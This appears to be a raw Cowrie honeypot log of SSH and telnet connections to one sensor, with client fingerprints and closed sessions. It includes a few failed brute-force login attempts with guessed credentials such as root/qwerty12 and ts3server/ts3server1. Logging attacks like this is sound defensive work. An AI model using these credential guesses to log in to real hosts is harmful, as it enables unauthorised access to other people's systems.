{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50034,"dst_ip":"159.203.135.109","dst_port":23,"session":"66e2ac9e847c","protocol":"telnet","message":"New connection: 134.209.8.29:50034 (159.203.135.109:23) [session: 66e2ac9e847c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:05.356873Z"}
{"eventid":"cowrie.session.closed","duration":11.152349710464478,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:05.381992Z","src_ip":"134.209.8.29","session":"270e40cb4a98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.627489566802979,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:05.391178Z","src_ip":"134.209.8.29","session":"a8a4ac7f38bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:05.445999Z","src_ip":"150.95.157.171","session":"dca9f5615023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.63936972618103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:06.064436Z","src_ip":"66.111.11.103","session":"f0c3c2781364","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty12","message":"login attempt [root/qwerty12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:06.245166Z","src_ip":"165.22.63.98","session":"58f7449cced4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":41882,"dst_ip":"159.203.135.109","dst_port":23,"session":"5758b2665cd1","protocol":"telnet","message":"New connection: 66.111.11.103:41882 (159.203.135.109:23) [session: 5758b2665cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:06.263816Z"}
{"eventid":"cowrie.session.closed","duration":31.24014377593994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:06.495948Z","src_ip":"66.111.11.103","session":"55f8f8be1b5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.481233596801758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:07.222349Z","src_ip":"66.111.11.103","session":"7010ac482156","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.758265018463135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:07.368610Z","src_ip":"66.111.11.103","session":"f8f27e88ffb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:07.484984Z","src_ip":"165.22.63.98","session":"58f7449cced4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.7427382469177246,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:08.099471Z","src_ip":"134.209.8.29","session":"66e2ac9e847c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":42248,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebd653be114d","protocol":"telnet","message":"New connection: 66.111.11.103:42248 (159.203.135.109:23) [session: ebd653be114d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:08.105002Z"}
{"eventid":"cowrie.session.closed","duration":31.121304750442505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:08.260901Z","src_ip":"66.111.11.103","session":"41029f729857","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":43032,"dst_ip":"159.203.135.109","dst_port":23,"session":"5532b83232d7","protocol":"telnet","message":"New connection: 66.111.11.103:43032 (159.203.135.109:23) [session: 5532b83232d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:08.561304Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":42866,"dst_ip":"159.203.135.109","dst_port":23,"session":"4abe1bf68bcc","protocol":"telnet","message":"New connection: 66.111.11.103:42866 (159.203.135.109:23) [session: 4abe1bf68bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:09.234365Z"}
{"eventid":"cowrie.session.closed","duration":30.795464754104614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:09.637843Z","src_ip":"66.111.11.103","session":"a7c99d2ac03f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":43554,"dst_ip":"159.203.135.109","dst_port":23,"session":"081d8829a382","protocol":"telnet","message":"New connection: 66.111.11.103:43554 (159.203.135.109:23) [session: 081d8829a382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:09.720782Z"}
{"eventid":"cowrie.session.closed","duration":30.655377626419067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:10.120307Z","src_ip":"66.111.11.103","session":"79cc251863c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":41748,"dst_ip":"10.17.0.5","dst_port":22,"session":"5813c4212846","protocol":"ssh","message":"New connection: 34.135.200.178:41748 (10.17.0.5:22) [session: 5813c4212846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:10.148762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:10.153258Z","src_ip":"34.135.200.178","session":"5813c4212846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:10.188103Z","src_ip":"34.135.200.178","session":"5813c4212846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3server1","message":"login attempt [ts3server/ts3server1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:10.357600Z","src_ip":"34.135.200.178","session":"5813c4212846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":43376,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c5a72d58a8f","protocol":"telnet","message":"New connection: 66.111.11.103:43376 (159.203.135.109:23) [session: 3c5a72d58a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:10.368929Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":12740,"dst_ip":"159.203.135.109","dst_port":22,"session":"e336af1b5ed3","protocol":"ssh","message":"New connection: 94.156.152.18:12740 (159.203.135.109:22) [session: e336af1b5ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:10.625125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:10.629909Z","src_ip":"94.156.152.18","session":"e336af1b5ed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:10.764519Z","src_ip":"94.156.152.18","session":"e336af1b5ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.62155318260193,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:11.106830Z","src_ip":"134.209.8.29","session":"6834ee2e1ee6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN8VCPU16GBAMD","message":"login attempt [root/QUEEN8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:11.170025Z","src_ip":"94.156.152.18","session":"e336af1b5ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.986034870147705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:11.393172Z","src_ip":"66.111.11.103","session":"300ba7bb5afa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:11.397980Z","src_ip":"34.135.200.178","session":"5813c4212846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":44512,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d7c58f41b26","protocol":"telnet","message":"New connection: 66.111.11.103:44512 (159.203.135.109:23) [session: 5d7c58f41b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:11.573784Z"}
{"eventid":"cowrie.session.closed","duration":30.86628270149231,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:12.287228Z","src_ip":"66.111.11.103","session":"c9027258f3ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:12.306853Z","src_ip":"94.156.152.18","session":"e336af1b5ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.07546353340149,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:12.377646Z","src_ip":"66.111.11.103","session":"bffced29a86b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43311882019043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:12.403963Z","src_ip":"66.111.11.103","session":"ab720bd0f497","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59742,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7e46773008d","protocol":"telnet","message":"New connection: 134.209.8.29:59742 (159.203.135.109:23) [session: c7e46773008d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:12.966513Z"}
{"eventid":"cowrie.session.closed","duration":31.14677858352661,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:13.113591Z","src_ip":"66.111.11.103","session":"33cf732ae727","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":45314,"dst_ip":"159.203.135.109","dst_port":23,"session":"926d010dc53a","protocol":"telnet","message":"New connection: 66.111.11.103:45314 (159.203.135.109:23) [session: 926d010dc53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:14.194923Z"}
{"eventid":"cowrie.session.closed","duration":30.421652793884277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:14.255812Z","src_ip":"66.111.11.103","session":"9a1f179c7ce3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56522,"dst_ip":"159.203.135.109","dst_port":23,"session":"94e41f9de3dc","protocol":"telnet","message":"New connection: 174.138.46.234:56522 (159.203.135.109:23) [session: 94e41f9de3dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:14.501451Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":46184,"dst_ip":"159.203.135.109","dst_port":23,"session":"651f55f3249e","protocol":"telnet","message":"New connection: 66.111.11.103:46184 (159.203.135.109:23) [session: 651f55f3249e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:14.673100Z"}
{"eventid":"cowrie.session.closed","duration":31.816782236099243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:15.001208Z","src_ip":"66.111.11.103","session":"db49c2117e39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56266760826111,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:15.020788Z","src_ip":"66.111.11.103","session":"2898c37b1560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.053812503814697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:15.169292Z","src_ip":"66.111.11.103","session":"19c359cec2d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":47354,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9612bf917a4","protocol":"telnet","message":"New connection: 66.111.11.103:47354 (159.203.135.109:23) [session: c9612bf917a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:16.820559Z"}
{"eventid":"cowrie.session.closed","duration":31.127628803253174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:16.851396Z","src_ip":"66.111.11.103","session":"a748916141ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59750,"dst_ip":"159.203.135.109","dst_port":23,"session":"53579147de12","protocol":"telnet","message":"New connection: 134.209.8.29:59750 (159.203.135.109:23) [session: 53579147de12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:17.347827Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":47178,"dst_ip":"159.203.135.109","dst_port":23,"session":"23ba16562b8f","protocol":"telnet","message":"New connection: 66.111.11.103:47178 (159.203.135.109:23) [session: 23ba16562b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:17.468703Z"}
{"eventid":"cowrie.session.closed","duration":31.60547423362732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:17.943550Z","src_ip":"66.111.11.103","session":"b43d4aa95725","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":47028,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f81946e6f1b","protocol":"telnet","message":"New connection: 66.111.11.103:47028 (159.203.135.109:23) [session: 8f81946e6f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:19.187759Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":48556,"dst_ip":"159.203.135.109","dst_port":23,"session":"48468a9ed9cf","protocol":"telnet","message":"New connection: 66.111.11.103:48556 (159.203.135.109:23) [session: 48468a9ed9cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:19.538748Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":48872,"dst_ip":"159.203.135.109","dst_port":23,"session":"51d21b2096ab","protocol":"telnet","message":"New connection: 66.111.11.103:48872 (159.203.135.109:23) [session: 51d21b2096ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:20.215349Z"}
{"eventid":"cowrie.session.closed","duration":31.153987646102905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:21.347683Z","src_ip":"66.111.11.103","session":"e8316eb58c59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.935904264450073,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:21.437228Z","src_ip":"174.138.46.234","session":"94e41f9de3dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35413932800293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:21.512258Z","src_ip":"66.111.11.103","session":"95d191b305f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.87339496612549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:22.085451Z","src_ip":"66.111.11.103","session":"96ff0c5380ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109684228897095,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:22.258894Z","src_ip":"66.111.11.103","session":"f686dae57183","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40823531150818,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:22.636355Z","src_ip":"66.111.11.103","session":"b8d26936cb62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99511957168579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:22.689252Z","src_ip":"66.111.11.103","session":"e946175da14f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06045627593994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:22.761669Z","src_ip":"66.111.11.103","session":"a798170089e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53126835823059,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:22.848879Z","src_ip":"66.111.11.103","session":"93f0c7d3aedf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97693634033203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:23.170946Z","src_ip":"66.111.11.103","session":"30ff4c6a9850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.819122314453125,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:24.154801Z","src_ip":"134.209.8.29","session":"60536c503478","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.321043729782104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:25.096928Z","src_ip":"66.111.11.103","session":"deca4209571d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":49844,"dst_ip":"159.203.135.109","dst_port":23,"session":"61e0c00bfa86","protocol":"telnet","message":"New connection: 66.111.11.103:49844 (159.203.135.109:23) [session: 61e0c00bfa86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:25.272667Z"}
{"eventid":"cowrie.session.closed","duration":37.13257431983948,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:25.592958Z","src_ip":"134.209.8.29","session":"c2da4ec17818","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.12782120704651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:26.168903Z","src_ip":"66.111.11.103","session":"b19c29374177","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92115879058838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:26.757773Z","src_ip":"66.111.11.103","session":"13de89949116","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.046356201171875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:27.927389Z","src_ip":"66.111.11.103","session":"8d51604b08e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59186,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f153b26cf6e","protocol":"telnet","message":"New connection: 134.209.8.29:59186 (159.203.135.109:23) [session: 6f153b26cf6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:27.993642Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":53456,"dst_ip":"159.203.135.109","dst_port":23,"session":"3017ae51314c","protocol":"telnet","message":"New connection: 66.111.11.103:53456 (159.203.135.109:23) [session: 3017ae51314c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:29.082568Z"}
{"eventid":"cowrie.session.closed","duration":31.237251043319702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:29.539576Z","src_ip":"66.111.11.103","session":"133d09eb77ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.044105768203735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:29.545000Z","src_ip":"66.111.11.103","session":"61286eb1fce5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95281434059143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:29.866102Z","src_ip":"66.111.11.103","session":"f6d29b4fe868","protocol":"telnet"}
